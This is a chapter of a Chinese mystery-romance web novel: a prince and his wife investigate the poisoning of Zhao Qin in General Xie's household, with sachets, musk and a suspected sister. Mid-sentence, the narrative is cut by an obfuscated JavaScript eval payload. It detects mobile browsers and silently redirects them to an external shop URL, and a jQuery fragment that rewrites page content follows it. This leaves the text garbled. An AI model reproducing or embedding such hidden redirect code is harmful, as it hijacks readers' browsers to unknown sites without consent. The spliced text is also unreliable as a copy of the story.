京城接连半月的雨雪,天色初霁,常昭宁耳伤已接近愈合,祁瑾序日日早出晚归,二人晚间虽常难碰面,清晨时都会一齐用早膳,今日,同往常一般在主屋用膳。
常昭宁早膳吃的少,结束的也快,等祁瑾序用膳间隙,夜寻来报,大理寺天亮时刻新接到一案子。
祁瑾序让其进来,夜寻走至桌旁,往常昭宁方向看了一眼,话语间有些停顿:“苏少卿传来急报,谢府出了命案,请殿下即刻前往。”
“谢府?你说的可是谢将军府上?”常昭宁问,五指将袖口攥紧了,唇线紧绷。
夜寻知晓世子妃担心之处,赶忙道:“回禀夫人,正是谢将军府,不过谢夫人无恙。”
常昭宁心口一松,但事关谢府,恐会影响了阿姐,她仍旧蹙眉,祁瑾序看出了她眼底的忧虑,明白她放不下心,宽慰道:“不妨与我一同去。”
二人各自回屋简单收拾一番,常昭宁行至府门,只见一匹黑马于侧边踢踏,被夜寻牵着。
她身后响起祁瑾序的声音,“马车太慢,同我一道乘马去?”
祁瑾序大步流星,说话间已走至她的身侧,常昭宁点头,跟着他出府。
黑马认得主子,当祁瑾序靠近时,鼻头抬起,轻嗅着身前人,尾巴也跟着甩动,发出“哼哼”的低叫声。祁瑾序轻拍了下它的脖子,一手摁着马鞍,踩住脚蹬,翻身利落上马,俯身,朝常昭宁伸出手,嗓音温和:“上来。”
常昭宁抬起手,搭上他的手掌,祁瑾序将她的手握紧,借力助她上马,常昭宁脚尖刚沾上脚蹬,腰间就被单手环住,祁瑾序将她抱起,让她坐在自己身前,稳稳置于马背上。
常昭宁第一次骑马,难免有些紧张,此时双脚离地,眼前只剩一个马首,手掌下是马儿背上的鬃毛,坚硬发亮,黑鬃尖头还有些红棕光泽,常昭宁又摸了摸底下的马鞍。
不等常昭宁观察完毕,祁瑾序从后伸出一只手,捏住她的手腕,令她的手掌心朝上,又将一根缰绳放进她的手心。低沉清冽的嗓音从身后传来,“抓紧这根绳子,放松,把背挺直。”
她应声抓紧,肩膀往后靠了靠,碰到了祁瑾序的胸膛,如此像是直接靠在他怀中,常昭宁觉得安稳许多。
毕竟从未见过二人共乘一匹马,她不放心似的侧头去看祁瑾序,问:“这样你能骑?”
祁瑾序不知她在怀疑什么,鼻腔里发出一声笑,道:“你靠得有些近,也许会摔了。”
常昭宁就知道自己多余问,作势要下去,祁瑾序哎了一声,双手将她环住,拉紧缰绳,微微低头,二人身子相贴,确认常昭宁握紧后,祁瑾序小腿轻敲马腹,发出号令,黑马立刻向街前奔驰。
一小段颠簸,很快抵达谢府,祁瑾序先翻身下马,再将马背上的常昭宁抱下来,常昭宁被颠得有些头晕,但阿姐要紧,跟祁瑾序一起进谢府,管事在门头候着,带他们进了府中,石子路上,管事的想起世子妃和自家夫人的关系,随口告知一句常昭愉在前厅,常昭宁脚步一顿,祁瑾序同她道:“你先去看看阿姐,等会再和夜寻一道过来。”
常昭宁咽下未说出口的话,点头,拐向前厅。
常昭愉正在前厅坐着,见着常昭宁突然来了,有些吃惊,立刻从木椅上站起来:“昭宁,你怎的过来了。”
常昭宁瞧见常昭愉微微隆起的小腹,又见她微红的眼眶,上前托住阿姐手臂,带她坐下:“晨起我听闻谢府出了事,有些担心你,殿下便带我一道来了。”
常昭愉抿唇,目光垂下,声音很轻:“我没事。”
前厅主位上坐了一位妇人,方才还一副不屑一顾的姿态,听见常昭愉一句昭宁,脸上立刻挂起了恭敬的笑容,“谢府小事,怎可惊动世子妃。”
常昭宁料定这位就是谢府原主母,没答她的话,反而将前厅环视一圈,不见谢明霁身影,问:“姐夫呢?”
常昭愉道:“近日他带兵剿匪不在京城,前几日的信里写着后日归。”
常昭宁抚着阿姐的手,又向主位端坐的妇人道:“夫人叨扰,我同阿姐去屋内说几句体己话。”
那妇人眼角皱纹显露,从主位上下来,看样子似是十分体恤,道:“愉娘身子不宜多动,我去外头避避就是了。”说罢,带着丫鬟出去了,耳珰跟着身姿晃荡。
常昭宁收回目光,问常昭愉发生了何事。常昭愉叹了口气,将原委全都告知于她。
话从那位妇人讲起,袁氏,并非谢府主母,谢明霁生母早年病逝,府内无女眷,谢老将军并未续弦,只有一贵妾,袁氏,于此后院主事便落到了她的头上,谢老将军死后,谢明霁又常年在外,袁氏自然从上至下管起了谢府。
待常昭愉入府后,按理说主事应交予主母,袁氏却迟迟不肯放权,常昭愉无心且单纯,并未过多计较,那袁氏却总想法设法要将自己侄女塞入谢明霁房中。谢明霁那行不通,她便日日来常昭愉院中,劝说需得为谢府开枝散叶,自己侄女赵芩是个乖顺听话的,还对谢明霁一片痴心,日后要是入了房中,常昭愉好管着。
赵芩,幼年便来京城投奔姨母,在谢府住了好些年,袁氏无儿无女,盘算着待赵芩及笄时就将她许给谢明霁,未料到谢明霁先她一步,自行向常首辅提了亲。
常昭愉性子柔顺,哪怕做了谢夫人,赵芩也并未死心,成日想方设法地来主院见谢明霁,谢明霁冷漠,她便和常昭愉讨亲近,一开始常昭愉并未意识到,只当她是一个热络的表妹,谢明霁给她带回来的好东西都往赵芩院里送一份,因此还常常惹得谢明霁不高兴。
再后来,也就是最近,赵芩和谢明霁的氛围变得奇怪起来,谢明霁突然让袁氏替赵芩寻一人家嫁了,否则就要分家。
袁氏哪能答应分家,那也只有她被踢出谢府的份儿,只好答应将赵芩找个好人家嫁了。
昨日傍晚,赵芩拿一香囊赠与她,说是自己亲自绣的,常昭愉便送了些糕点算作回礼。今日常昭愉被丫鬟叫起时,丫鬟说赵芩昨夜中毒死了。
待常昭愉赶至赵芩院中,袁氏正立于门前,面色苍白,赵芩身旁的小丫头跪在地上,说昨日赵芩晚膳后只吃了常昭愉给的糕点,今早起来就已经中毒了。
赵芩一直和袁氏一同用膳,晚膳是不可能有毒的,那么丫鬟此话所为何意,常昭愉在门槛处听得,身子一颤。
……
听罢,常昭宁眉头拧紧,将手掌放在阿姐的手背上,坚定道:“莫要担心,大理寺一定会查清楚。”
常昭愉将目光挪向外头,红唇微动:“总归是要面对的,不是我做的事,我便不会让他人落到我头上来。”
谢府偏院,赵芩屋内。
窗幔一侧被束起,赵芩躺在床榻上,曲鹤行在一旁观摩着,“七窍流血,指甲发
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17911566|213128||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
黑,应是中毒。”,话语间,捏住她的下颚,继续检查赵芩唇齿,“舌苔发黄,齿间有黄粉残留。”
曲鹤行将一银针扎进赵芩喉间,让小厮拿甘杨水给她漱口,再仔细检验。
从木阶而下,曲鹤行来到祁瑾序身旁,看他摆弄那些瓶瓶罐罐,又道:“初步检验是服了坞黄,但坞黄短期微量并不致死。”
“坞黄加麝香呢。”祁瑾序道,指尖捏住香炉顶,掀开,一股浓烈香味溢出来。
“麝香无毒,且并不与坞黄相克。”
天然麝香作为一种制香材料,做成香炉并不稀奇,不过寻常香炉之中麝香气味并不会如此浓烈,况且,谢夫人已有身孕,府内此物应早已避之。
“夫人。”
门外玄墨恭敬声音响起,祁瑾序立刻将香炉盖上,对着门外道:“谢夫人请留步。”
常昭宁走进来,见二人呆站在妆台边,疑惑道:“我让阿姐留在主院休憩,等会再去看她,怎么了?”
“赵芩屋里有麝香。”
祁瑾序走至常昭宁身旁,问她:“阿姐可还安好?”
阿姐,祁瑾序怎也唤阿姐。常昭宁摇头说没事,转身看到了床榻上的赵芩。
曲鹤行身旁的小厮也跟过来,手里拿着银针,道:“公子,银针发黄,皂水无法冲去,是坞黄。”
与此同时,门外一侍从拿一香囊进门,低头汇报:“殿下,在谢夫人屋内香囊里发现一小瓶药粉,仵作验了里头是坞黄。”
常昭宁眉头一皱,看向那香囊,前头绣着一只鸳鸯,大概就是阿姐方才说的香囊,欲要开口,右手刚抬起,被祁瑾序抓住了,大手扣住她的手指,置于身侧,常昭宁抬头看他,祁瑾序并未看她,对侍卫颔首,问道:“谢夫人可有说香囊是从何而来?”
“侍女言是昨日赵芩送给谢夫人的。”
院外还站着赵芩的婢女,闻言,立刻反驳,尖声喊道:“未曾!小姐只绣过一个同色的,你手中的那只是一只雌鸟!”
曲鹤行站在后头,眼尖瞧见面前二人握着的手,挑眉悠悠道:“可有物证啊?”
赵芩的丫鬟月红从门外跨进来,裙裾刮过门槛,她快步走至赵芩的床榻旁,从被褥底下拿出一同色香囊,呈到祁瑾序面前。
月红将香囊翻了个遍,确实颜色,细纹皆一模一样,只不过那香囊中央,绣的鸳鸯是只雄鸟。
月红开口:“小姐一直爱慕谢将军,未曾有过半分逾矩,小姐常常自哀,自己无家世亦无能力,从前仰望谢将军,往后只盼着能在府内落个安定,找个香囊是小姐在谢将军婚前就绣好了的!”
屋内寡言片刻,常昭宁看着月红痛心疾首的模样,原本蹙起的眉放下来,冷漠道:“这香囊,我看着,怎么更像是一对。”
冷不丁一句话砸下来,顿时将屋内气氛转了个弯。
祁瑾序让侍从将两个香囊放置一处,两只香囊无论大小,材质,绣法,皆无甚两样,稍微比对即可知均出自一人之手。
怎么看,也是常昭宁说得更在理。
但有理无用,昨夜赵芩的确去过谢夫人院内,离开时也确实提了一篮糕点,唯独无人证实那香囊就是赵芩所赠。全府上下,除了常昭愉和她的贴身婢女,府内无人瞧见赵芩拿过那枚香囊。
谢府内探查至此,余下的需得回大理寺仵作验尸后再做抉择。